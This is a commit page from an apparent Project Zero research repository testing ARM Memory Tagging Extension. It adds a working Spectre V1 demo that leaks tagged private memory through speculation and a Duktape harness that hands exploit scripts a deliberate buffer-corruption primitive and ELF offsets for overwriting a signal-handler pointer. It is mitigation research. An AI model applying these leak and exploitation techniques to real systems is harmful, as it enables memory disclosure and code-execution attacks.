Skip to content

Commit b0e9e89

Browse files
committed
1 parent dde0f80 commit b0e9e89

25 files changed

Lines changed: 2157 additions & 0 deletions
Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
From b1f703913db28d4ca953959b39fb99f51760a6e6 Mon Sep 17 00:00:00 2001
2+
From: Mark Brand <markbrand@google.com>
3+
Date: Thu, 3 Aug 2023 16:11:04 +0200
4+
Subject: [PATCH] Add MTE spectre test.
5+
6+
---
7+
demos/CMakeLists.txt | 5 +-
8+
demos/spectre_v1_pht_sa_mte.cc | 163 +++++++++++++++++++++++++++++++++
9+
2 files changed, 167 insertions(+), 1 deletion(-)
10+
create mode 100644 demos/spectre_v1_pht_sa_mte.cc
11+
12+
diff --git a/demos/CMakeLists.txt b/demos/CMakeLists.txt
13+
index ce3d67b..831f5ae 100644
14+
--- a/demos/CMakeLists.txt
15+
+++ b/demos/CMakeLists.txt
16+
@@ -127,12 +127,15 @@ function(add_demo demo_name)
17+
endif()
18+
19+
add_executable(${demo_name} ${demo_name}.cc ${ARG_ADDITIONAL_SOURCES})
20+
- target_link_libraries(${demo_name} safeside)
21+
+ target_link_libraries(${demo_name} safeside -static)
22+
endfunction()
23+
24+
# Spectre V1 PHT SA -- mistraining PHT in the same address space
25+
add_demo(spectre_v1_pht_sa)
26+
27+
+# Spectre V1 PHT SA -- mistraining PHT in the same address space with MTE
28+
+add_demo(spectre_v1_pht_sa_mte)
29+
+
30+
# Spectre V1 BTB SA -- mistraining BTB in the same address space
31+
add_demo(spectre_v1_btb_sa)
32+
33+
diff --git a/demos/spectre_v1_pht_sa_mte.cc b/demos/spectre_v1_pht_sa_mte.cc
34+
new file mode 100644
35+
index 0000000..68dd642
36+
--- /dev/null
37+
+++ b/demos/spectre_v1_pht_sa_mte.cc
38+
@@ -0,0 +1,163 @@
39+
+/*
40+
+ * Copyright 2023 Google LLC
41+
+ *
42+
+ * Licensed under both the 3-Clause BSD License and the GPLv2, found in the
43+
+ * LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory.
44+
+ *
45+
+ * SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0
46+
+ */
47+
+
48+
+// Causes misprediction of conditional branches that leads to a bounds check
49+
+// being bypassed during speculative execution. Leaks architecturally
50+
+// inaccessible data from the process's address space.
51+
+//
52+
+// PLATFORM NOTES:
53+
+// This program should leak data on pretty much any system where it compiles.
54+
+// We only require an out-of-order CPU that predicts conditional branches.
55+
+
56+
+#include <array>
57+
+#include <cstring>
58+
+#include <iostream>
59+
+#include <memory>
60+
+
61+
+#include "instr.h"
62+
+#include "local_content.h"
63+
+#include "timing_array.h"
64+
+#include "utils.h"
65+
+
66+
+#include <cassert>
67+
+#include <fcntl.h>
68+
+#include <sys/mman.h>
69+
+#include <sys/prctl.h>
70+
+#include <unistd.h>
71+
+
72+
+namespace mte {
73+
+void enable(bool sync=true, uint16_t tag_mask=0xfffe) {
74+
+ int ctrl = sync ? PR_MTE_TCF_SYNC : PR_MTE_TCF_ASYNC;
75+
+ ctrl |= tag_mask << PR_MTE_TAG_SHIFT;
76+
+ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, ctrl, 0, 0, 0));
77+
+}
78+
+
79+
+void disable() {
80+
+ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, PR_MTE_TCF_NONE, 0, 0, 0));
81+
+}
82+
+
83+
+template<typename T>
84+
+T* tagz(T* ptr, size_t len, uint8_t tag=0) {
85+
+ if (tag == 0) {
86+
+ asm volatile ("irg %0, %0\n" : "+r"(ptr));
87+
+ } else {
88+
+ ptr = (T*)(((uintptr_t)ptr) | ((uintptr_t)tag) << 56);
89+
+ }
90+
+ T* end_ptr = ptr;
91+
+ for (size_t i = 0; i < len; i += 16) {
92+
+ asm volatile ("stzg %0, [%0], #16\n" : "+r"(end_ptr));
93+
+ }
94+
+ return ptr;
95+
+}
96+
+
97+
+uint8_t tag(void* ptr) {
98+
+ uintptr_t address;
99+
+ memcpy(&address, &ptr, sizeof(address));
100+
+ return static_cast<uint8_t>(address >> 56);
101+
+}
102+
+} // namespace mte
103+
+
104+
+char* tagged_public_data = nullptr;
105+
+char* tagged_private_data = nullptr;
106+
+
107+
+// Leaks the byte that is physically located at &text[0] + offset, without ever
108+
+// loading it. In the abstract machine, and in the code executed by the CPU,
109+
+// this function does not load any memory except for what is in the bounds
110+
+// of `text`, and local auxiliary data.
111+
+//
112+
+// Instead, the leak is performed by accessing out-of-bounds during speculative
113+
+// execution, bypassing the bounds check by training the branch predictor to
114+
+// think that the value will be in-range.
115+
+static char LeakByte(const char *data, size_t offset) {
116+
+ TimingArray timing_array;
117+
+ // The size needs to be unloaded from cache to force speculative execution
118+
+ // to guess the result of comparison.
119+
+ //
120+
+ // TODO(asteinha): since size_in_heap is no longer the only heap-allocated
121+
+ // value, it should be allocated into its own unique page
122+
+ std::unique_ptr<size_t> size_in_heap = std::unique_ptr<size_t>(
123+
+ new size_t(strlen(data)));
124+
+
125+
+ for (int run = 0;; ++run) {
126+
+ timing_array.FlushFromCache();
127+
+ // We pick a different offset every time so that it's guaranteed that the
128+
+ // value of the in-bounds access is usually different from the secret value
129+
+ // we want to leak via out-of-bounds speculative access.
130+
+ int safe_offset = run % strlen(data);
131+
+
132+
+ // Loop length must be high enough to beat branch predictors.
133+
+ // The current length 2048 was established empirically. With significantly
134+
+ // shorter loop lengths some branch predictors are able to observe the
135+
+ // pattern and avoid branch mispredictions.
136+
+ for (size_t i = 0; i < 2048; ++i) {
137+
+ // Remove from cache so that we block on loading it from memory,
138+
+ // triggering speculative execution.
139+
+ FlushDataCacheLine(size_in_heap.get());
140+
+
141+
+ // Train the branch predictor: perform in-bounds accesses 2047 times,
142+
+ // and then use the out-of-bounds offset we _actually_ care about on the
143+
+ // 2048th time.
144+
+ // The local_offset value computation is a branchless equivalent of:
145+
+ // size_t local_offset = ((i + 1) % 2048) ? safe_offset : offset;
146+
+ // We need to avoid branching even for unoptimized compilation (-O0).
147+
+ // Optimized compilations (-O1, concretely -fif-conversion) would remove
148+
+ // the branching automatically.
149+
+ size_t local_offset =
150+
+ offset + (safe_offset - offset) * static_cast<bool>((i + 1) % 2048);
151+
+
152+
+ if (local_offset < *size_in_heap) {
153+
+ // This branch was trained to always be taken during speculative
154+
+ // execution, so it's taken even on the 2048th iteration, when the
155+
+ // condition is false!
156+
+ ForceRead(&timing_array[data[local_offset]]);
157+
+ }
158+
+ }
159+
+
160+
+ int ret = timing_array.FindFirstCachedElementIndexAfter(data[safe_offset]);
161+
+ if (ret >= 0 && ret != data[safe_offset]) {
162+
+ return ret;
163+
+ }
164+
+
165+
+ if (run > 100000) {
166+
+ std::cerr << "Does not converge" << std::endl;
167+
+ exit(EXIT_FAILURE);
168+
+ }
169+
+ }
170+
+}
171+
+
172+
+int main() {
173+
+ mte::enable(false);
174+
+
175+
+ tagged_public_data = (char*)mmap(nullptr, 0x1000,
176+
+ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
177+
+
178+
+ tagged_private_data = (char*)mmap(nullptr, 0x1000,
179+
+ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
180+
+
181+
+ const size_t private_offset = tagged_private_data - tagged_public_data;
182+
+
183+
+ tagged_public_data = mte::tagz(tagged_public_data, 0x1000, 1);
184+
+ tagged_private_data = mte::tagz(tagged_private_data, 0x1000, 2);
185+
+
186+
+ strcpy(tagged_public_data, public_data);
187+
+ strcpy(tagged_private_data, private_data);
188+
+
189+
+ std::cout << "Leaking the string: ";
190+
+ std::cout.flush();
191+
+ for (size_t i = 0; i < strlen(tagged_private_data); ++i) {
192+
+ // On at least some machines, this will print the i'th byte from
193+
+ // private_data, despite the only actually-executed memory accesses being
194+
+ // to valid bytes in public_data.
195+
+ std::cout << LeakByte(tagged_public_data, private_offset + i);
196+
+ std::cout.flush();
197+
+ }
198+
+ std::cout << "\nDone!\n";
199+
+
200+
+ std::cout << "Checking that we would crash during architectural access:\n" << tagged_public_data[private_offset];
201+
+}
202+
--
203+
2.41.0.585.gd2178a4bd4-goog
204+

MTETest/README.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# MTE testing tools and examples.
2+
3+
This project includes a build script and code samples used to verify various
4+
properties of the implementation of ARM MTE. See the blog post here for more
5+
information:
6+
7+
https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html
8+
9+
Note that most of these examples are written to demonstrate specific software
10+
or hardware behaviour observed on a single test device configuration, so you
11+
may encounter difficulties in reproducing the results in a different
12+
environment, and will need to provide your own configuration for the core layout
13+
of your test device, and likely also calibrate the timer and branch prediction
14+
iterations (see config.py and config.h).
Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
// Copyright 2023 Google LLC
2+
//
3+
// Licensed under the Apache License, Version 2.0 (the "License");
4+
// you may not use this file except in compliance with the License.
5+
// You may obtain a copy of the License at
6+
//
7+
// https://www.apache.org/licenses/LICENSE-2.0
8+
//
9+
// Unless required by applicable law or agreed to in writing, software
10+
// distributed under the License is distributed on an "AS IS" BASIS,
11+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
// See the License for the specific language governing permissions and
13+
// limitations under the License.
14+
15+
#define _GNU_SOURCE
16+
17+
#include <assert.h>
18+
#include <stdbool.h>
19+
#include <stdio.h>
20+
#include <stdint.h>
21+
#include <stdlib.h>
22+
23+
#include <fcntl.h>
24+
#include <pthread.h>
25+
#include <sys/mman.h>
26+
#include <unistd.h>
27+
#include <malloc.h>
28+
29+
#include "lib/mte.h"
30+
#include "lib/scheduler.h"
31+
32+
#include "duktape.h"
33+
34+
static void* read_file(const char* path) {
35+
int fd = open(path, O_RDONLY);
36+
size_t data_read = 0;
37+
size_t data_size = 0;
38+
char* data = NULL;
39+
while (true) {
40+
if (data_read == data_size) {
41+
char* new_data = realloc(data, data_size + 1024);
42+
if (!new_data) {
43+
free(data);
44+
return NULL;
45+
}
46+
data = new_data;
47+
data_size = data_size + 1024;
48+
}
49+
ssize_t result = read(fd, &data[data_read], data_size - data_read);
50+
if (result <= 0) {
51+
return data;
52+
} else {
53+
data_read += result;
54+
}
55+
}
56+
}
57+
58+
static duk_ret_t print(duk_context *ctx) {
59+
fprintf(stderr, "%s\n", duk_to_string(ctx, 0));
60+
return 0;
61+
}
62+
63+
static duk_ret_t corrupt_bytearray(duk_context* ctx) {
64+
if (duk_get_type(ctx, 0) == DUK_TYPE_OBJECT) {
65+
uint32_t* bufobj_i = duk_get_heapptr(ctx, 0);
66+
uint32_t** bufobj_p = (uint32_t**)bufobj_i;
67+
// Set the ArrayBuffer byteLength
68+
bufobj_i[19] = 0xffffffff;
69+
// Set the backing store size
70+
bufobj_p[7][6] = 0xffffffff;
71+
}
72+
return 0;
73+
}
74+
75+
static duk_ret_t tag_check_fail(duk_context* ctx) {
76+
(void)ctx;
77+
void* ptr = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_MTE,
78+
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
79+
mte_tag_and_zero(ptr, 0x1000);
80+
*(char*)ptr = 0x23;
81+
return 0;
82+
}
83+
84+
// This is a very rough simulation of the Breakpad exception handling code for
85+
// linux, see:
86+
// https://source.chromium.org/chromium/chromium/src/+/main:third_party/breakpad/breakpad/src/client/linux/handler/exception_handler.cc;l=328
87+
bool (*g_first_chance_handler)(int signal, siginfo_t* info, void* ucontext_ptr) = NULL;
88+
void segv_handler(int signal, siginfo_t* info, void* ucontext_ptr) {
89+
fprintf(stderr, "segv handler %i\n", signal);
90+
if (g_first_chance_handler && g_first_chance_handler(signal, info, ucontext_ptr)) {
91+
return;
92+
}
93+
fprintf(stderr, "killing process\n");
94+
exit(1);
95+
}
96+
97+
void add_segv_handler() {
98+
struct sigaction new_segv_handler, old_segv_handler;
99+
new_segv_handler.sa_sigaction = segv_handler;
100+
new_segv_handler.sa_flags = SA_SIGINFO;
101+
assert(0 == sigaction(SIGSEGV, &new_segv_handler, &old_segv_handler));
102+
}
103+
104+
int main(int argc, char** argv) {
105+
if (argc != 2) {
106+
fprintf(stderr, "usage: async_signal_handler_bypass exploit_javascript\n");
107+
exit(-1);
108+
}
109+
110+
g_first_chance_handler = NULL;
111+
add_segv_handler();
112+
113+
mte_enable(false, DEFAULT_TAG_MASK);
114+
115+
// We have the hosting code compute necessary offsets here and provide those
116+
// to the exploit code to avoid having to manually generate offsets when
117+
// building...
118+
uint32_t* elf_base_ptr = (uint32_t*)(((uintptr_t)print) - 0x20000);
119+
while (*elf_base_ptr != 0x464c457f)
120+
--elf_base_ptr;
121+
122+
char* offsets;
123+
asprintf(&offsets,
124+
"var print_offset = %p;\n"
125+
"var first_chance_handler_offset = %p;\n",
126+
(void*)((uintptr_t)print - (uintptr_t)elf_base_ptr),
127+
(void*)((uintptr_t)&g_first_chance_handler - (uintptr_t)elf_base_ptr));
128+
129+
char* script = read_file(argv[1]);
130+
131+
char* full_script;
132+
asprintf(&full_script, "%s\n%s", offsets, script);
133+
134+
duk_context *ctx = duk_create_heap_default();
135+
136+
duk_push_c_function(ctx, print, 1);
137+
duk_put_global_string(ctx, "print");
138+
139+
duk_push_c_function(ctx, tag_check_fail, 0);
140+
duk_put_global_string(ctx, "tag_check_fail");
141+
142+
duk_push_c_function(ctx, corrupt_bytearray, 1);
143+
duk_put_global_string(ctx, "corrupt_bytearray");
144+
145+
duk_eval_string_noresult(ctx, full_script);
146+
duk_destroy_heap(ctx);
147+
148+
fprintf(stderr, "done\n");
149+
150+
return 0;
151+
}

0 commit comments

Comments
 (0)